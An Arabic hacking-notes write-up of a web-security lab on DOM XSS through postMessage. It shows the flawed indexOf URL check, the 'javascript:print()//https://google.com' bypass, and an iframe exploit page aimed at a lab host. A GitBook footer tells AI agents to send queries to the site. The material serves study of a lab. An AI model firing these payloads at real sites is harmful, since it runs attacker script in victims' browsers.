> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# XSS عبر رسائل الويب ورابط JavaScript

### استغلال XSS في DOM باستخدام رسائل الويب وعنوان URL من JavaScript

مختبر يوضح ثغرة DOM التي تسبب إعادة توجيه/تنفيذ عبر `postMessage`. الهدف: إنشاء صفحة HTML على خادم الاستغلال ترسل رسالة لتنفيذ `print()` في الصفحة المستهدفة.

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

تستمع الصفحة المستهدفة إلى الرسائل المرسلة وتتعامل مع البيانات المستلمة على أنها عنوان URL. إذا احتوت السلسلة المستلمة على `HTTP:` أو `https:`، تعيد الصفحة التوجيه (`location.href`) إلى تلك القيمة. الشفرة في جهة الهدف كما يلي:

```javascript
window.postMessage('https://jord4n.pro', '*');
```

يؤدي بنجاح إلى إعادة توجيه إلى `https://jord4n.pro`.

<figure><img src="/files/7cfb3788d62590b23bf22e2c925d72884487b0ea" alt=""><figcaption></figcaption></figure>

### التحايل على التحقق

التحقق يحظر فقط السلاسل التي لا تحتوي على `HTTP:` أو `https:` (التحقق عبر `indexOf`). إن `indexOf > -1` لذا يُساء استغلال المنطق بإضافة `//https://...` جزء بعد `JavaScript:` scheme بحيث يتحقق الشرط مع الإبقاء على عنوان URL يبدأ بـ `JavaScript:`. على سبيل المثال:

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* لفتح تنبيه:

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/f6835717640c08aa4e20f2a5726b6bcd79d3b801" alt=""><figcaption></figcaption></figure>

* لاستدعاء `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

الـ `//https://google.com` يُستخدم هذا الجزء فقط لتلبية `indexOf('https:') > -1` الشرط.

<figure><img src="/files/574e1cce74462e8ffe9568b3ab24356ecb32d93a" alt=""><figcaption></figcaption></figure>

#### الاستغلال النهائي

قد تتضمن صفحة الهجوم إطار iframe يشير إلى الصفحة الضعيفة، وعند التحميل ترسل الرسالة الخبيثة إلى المحتوى المضمّن. مثال على التنفيذ يوضع على الخادم المضيف:

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/e5449b35a14da3d4de424ab58fa10e15b7460adf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
